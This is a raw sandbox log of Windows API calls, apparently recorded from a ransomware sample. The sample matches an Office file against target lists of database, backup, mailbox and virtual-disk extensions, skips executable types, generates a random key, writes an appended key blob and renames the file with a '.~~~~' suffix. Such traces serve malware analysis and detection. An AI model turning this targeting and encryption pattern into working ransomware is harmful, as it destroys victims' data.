	[0136.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".bac") returned 0x0
	[0136.845] lstrlenW (lpString=".mdf") returned 4
	[0136.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".mdf") returned 0x0
	[0136.845] lstrlenW (lpString=".BAK") returned 4
	[0136.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".BAK") returned 0x0
	[0136.845] lstrlenW (lpString=".BAC") returned 4
	[0136.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".BAC") returned 0x0
	[0136.845] lstrlenW (lpString=".dbs") returned 4
	[0136.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".dbs") returned 0x0
	[0136.845] lstrlenW (lpString=".vhdx") returned 5
	[0136.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0136.845] lstrlenW (lpString=".NDF") returned 4
	[0136.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".NDF") returned 0x0
	[0136.845] lstrlenW (lpString=".dat") returned 4
	[0136.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".dat") returned 0x0
	[0136.845] lstrlenW (lpString=".DBS") returned 4
	[0136.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".DBS") returned 0x0
	[0136.845] lstrlenW (lpString=".CKP") returned 4
	[0136.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".CKP") returned 0x0
	[0136.845] lstrlenW (lpString=".edb") returned 4
	[0136.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".edb") returned 0x0
	[0136.846] lstrlenW (lpString=".PST") returned 4
	[0136.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".PST") returned 0x0
	[0136.846] lstrlenW (lpString=".dbf") returned 4
	[0136.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".dbf") returned 0x0
	[0136.846] lstrlenW (lpString=".SQL") returned 4
	[0136.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".SQL") returned 0x0
	[0136.846] lstrlenW (lpString=".pst") returned 4
	[0136.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".pst") returned 0x0
	[0136.846] lstrlenW (lpString=".dbv") returned 4
	[0136.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".dbv") returned 0x0
	[0136.846] lstrlenW (lpString=".SDF") returned 4
	[0136.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".SDF") returned 0x0
	[0136.846] lstrlenW (lpString=".dtxs") returned 5
	[0136.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0136.846] lstrlenW (lpString=".db3") returned 4
	[0136.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".db3") returned 0x0
	[0136.846] lstrlenW (lpString=".OST") returned 4
	[0136.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".OST") returned 0x0
	[0136.846] lstrlenW (lpString=".dbx") returned 4
	[0136.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".dbx") returned 0x0
	[0136.846] lstrlenW (lpString=".DB3") returned 4
	[0136.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".DB3") returned 0x0
	[0136.846] lstrlenW (lpString=".DAT") returned 4
	[0136.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".DAT") returned 0x0
	[0136.846] lstrlenW (lpString=".VHDX") returned 5
	[0136.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0136.847] lstrlenW (lpString=".ndf") returned 4
	[0136.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".ndf") returned 0x0
	[0136.847] lstrlenW (lpString=".DB") returned 3
	[0136.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".DB") returned 0x0
	[0136.847] lstrlenW (lpString=".sql") returned 4
	[0136.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".sql") returned 0x0
	[0136.847] lstrlenW (lpString=".MYD") returned 4
	[0136.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".MYD") returned 0x0
	[0136.847] lstrlenW (lpString=".DBT") returned 4
	[0136.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".DBT") returned 0x0
	[0136.847] lstrlenW (lpString=".ACCDB") returned 6
	[0136.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0136.847] lstrlenW (lpString=".fdb") returned 4
	[0136.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".fdb") returned 0x0
	[0136.847] lstrlenW (lpString=".bak") returned 4
	[0136.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".bak") returned 0x0
	[0136.847] lstrlenW (lpString=".myd") returned 4
	[0136.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".myd") returned 0x0
	[0136.847] lstrlenW (lpString=".DTXS") returned 5
	[0136.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0136.847] lstrlenW (lpString=".ckp") returned 4
	[0136.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".ckp") returned 0x0
	[0136.847] lstrlenW (lpString=".dbt") returned 4
	[0136.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".dbt") returned 0x0
	[0136.847] lstrlenW (lpString=".db") returned 3
	[0136.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".db") returned 0x0
	[0136.848] lstrlenW (lpString=".TXT") returned 4
	[0136.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".TXT") returned 0x0
	[0136.848] lstrlenW (lpString=".MDF") returned 4
	[0136.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".MDF") returned 0x0
	[0136.848] lstrlenW (lpString=".bdb") returned 4
	[0136.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".bdb") returned 0x0
	[0136.848] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0136.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0136.848] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394f48) returned 1
	[0136.849] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0136.849] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0136.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0136.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0136.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0136.850] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25683982211) returned 1
	[0136.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbb01fdf0, dwHighDateTime=0x1d60e1e)) 
	[0136.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0136.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0136.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0136.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4cb8
	[0136.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4cb8 | out: hHeap=0x300000) returned 1
	[0136.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce188
	[0136.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fca98
	[0136.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.851] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0136.851] GetLastError () returned 0x0
	[0136.851] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0136.851] GetLastError () returned 0x0
	[0136.853] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.853] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0xd4, lpOverlapped=0x0) returned 1
	[0136.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0136.854] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.854] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.854] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.854] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.854] CloseHandle (hObject=0x138) returned 1
	[0136.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce188
	[0136.854] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.~~~~")) returned 1
	[0136.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0136.857] GetLastError () returned 0x0
	[0136.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0136.858] lstrlenW (lpString=".cmd") returned 4
	[0136.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0136.858] lstrlenW (lpString=".dll") returned 4
	[0136.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0136.858] lstrlenW (lpString=".bat") returned 4
	[0136.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0136.858] lstrlenW (lpString=".cpl") returned 4
	[0136.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0136.858] lstrlenW (lpString=".sys") returned 4
	[0136.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0136.858] lstrlenW (lpString=".msc") returned 4
	[0136.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0136.858] lstrlenW (lpString=".com") returned 4
	[0136.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".com") returned 0x0
	[0136.858] lstrlenW (lpString=".lnk") returned 4
	[0136.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0136.858] lstrlenW (lpString=".msp") returned 4
	[0136.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0136.858] lstrlenW (lpString=".pif") returned 4
	[0136.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0136.858] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0136.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0136.861] lstrlenW (lpString=".sqb") returned 4
	[0136.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0136.861] lstrlenW (lpString=".ost") returned 4
	[0136.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0136.861] lstrlenW (lpString=".txt") returned 4
	[0136.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0136.861] lstrlenW (lpString=".mdt") returned 4
	[0136.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0136.861] lstrlenW (lpString=".BDB") returned 4
	[0136.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0136.861] lstrlenW (lpString=".eql") returned 4
	[0136.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0136.861] lstrlenW (lpString=".DBF") returned 4
	[0136.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0136.861] lstrlenW (lpString=".EQL") returned 4
	[0136.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0136.861] lstrlenW (lpString=".FDB") returned 4
	[0136.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0136.861] lstrlenW (lpString=".EDB") returned 4
	[0136.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0136.862] lstrlenW (lpString=".DACPAC") returned 7
	[0136.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0136.862] lstrlenW (lpString=".VHD") returned 4
	[0136.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0136.862] lstrlenW (lpString=".DBV") returned 4
	[0136.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0136.862] lstrlenW (lpString=".dacpac") returned 7
	[0136.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0136.862] lstrlenW (lpString=".sdf") returned 4
	[0136.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0136.862] lstrlenW (lpString=".accdb") returned 6
	[0136.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0136.862] lstrlenW (lpString=".DBX") returned 4
	[0136.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0136.862] lstrlenW (lpString=".MDT") returned 4
	[0136.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0136.862] lstrlenW (lpString=".SQB") returned 4
	[0136.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0136.862] lstrlenW (lpString=".vhd") returned 4
	[0136.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0136.862] lstrlenW (lpString=".bac") returned 4
	[0136.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0136.862] lstrlenW (lpString=".mdf") returned 4
	[0136.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0136.862] lstrlenW (lpString=".BAK") returned 4
	[0136.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0136.863] lstrlenW (lpString=".BAC") returned 4
	[0136.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0136.863] lstrlenW (lpString=".dbs") returned 4
	[0136.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0136.863] lstrlenW (lpString=".vhdx") returned 5
	[0136.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0136.863] lstrlenW (lpString=".NDF") returned 4
	[0136.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0136.863] lstrlenW (lpString=".dat") returned 4
	[0136.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0136.863] lstrlenW (lpString=".DBS") returned 4
	[0136.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0136.863] lstrlenW (lpString=".CKP") returned 4
	[0136.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0136.863] lstrlenW (lpString=".edb") returned 4
	[0136.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0136.863] lstrlenW (lpString=".PST") returned 4
	[0136.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0136.863] lstrlenW (lpString=".dbf") returned 4
	[0136.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0136.863] lstrlenW (lpString=".SQL") returned 4
	[0136.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0136.863] lstrlenW (lpString=".pst") returned 4
	[0136.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0136.863] lstrlenW (lpString=".dbv") returned 4
	[0136.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0136.863] lstrlenW (lpString=".SDF") returned 4
	[0136.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0136.864] lstrlenW (lpString=".dtxs") returned 5
	[0136.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0136.864] lstrlenW (lpString=".db3") returned 4
	[0136.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0136.864] lstrlenW (lpString=".OST") returned 4
	[0136.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0136.864] lstrlenW (lpString=".dbx") returned 4
	[0136.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0136.864] lstrlenW (lpString=".DB3") returned 4
	[0136.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0136.864] lstrlenW (lpString=".DAT") returned 4
	[0136.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0136.864] lstrlenW (lpString=".VHDX") returned 5
	[0136.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0136.864] lstrlenW (lpString=".ndf") returned 4
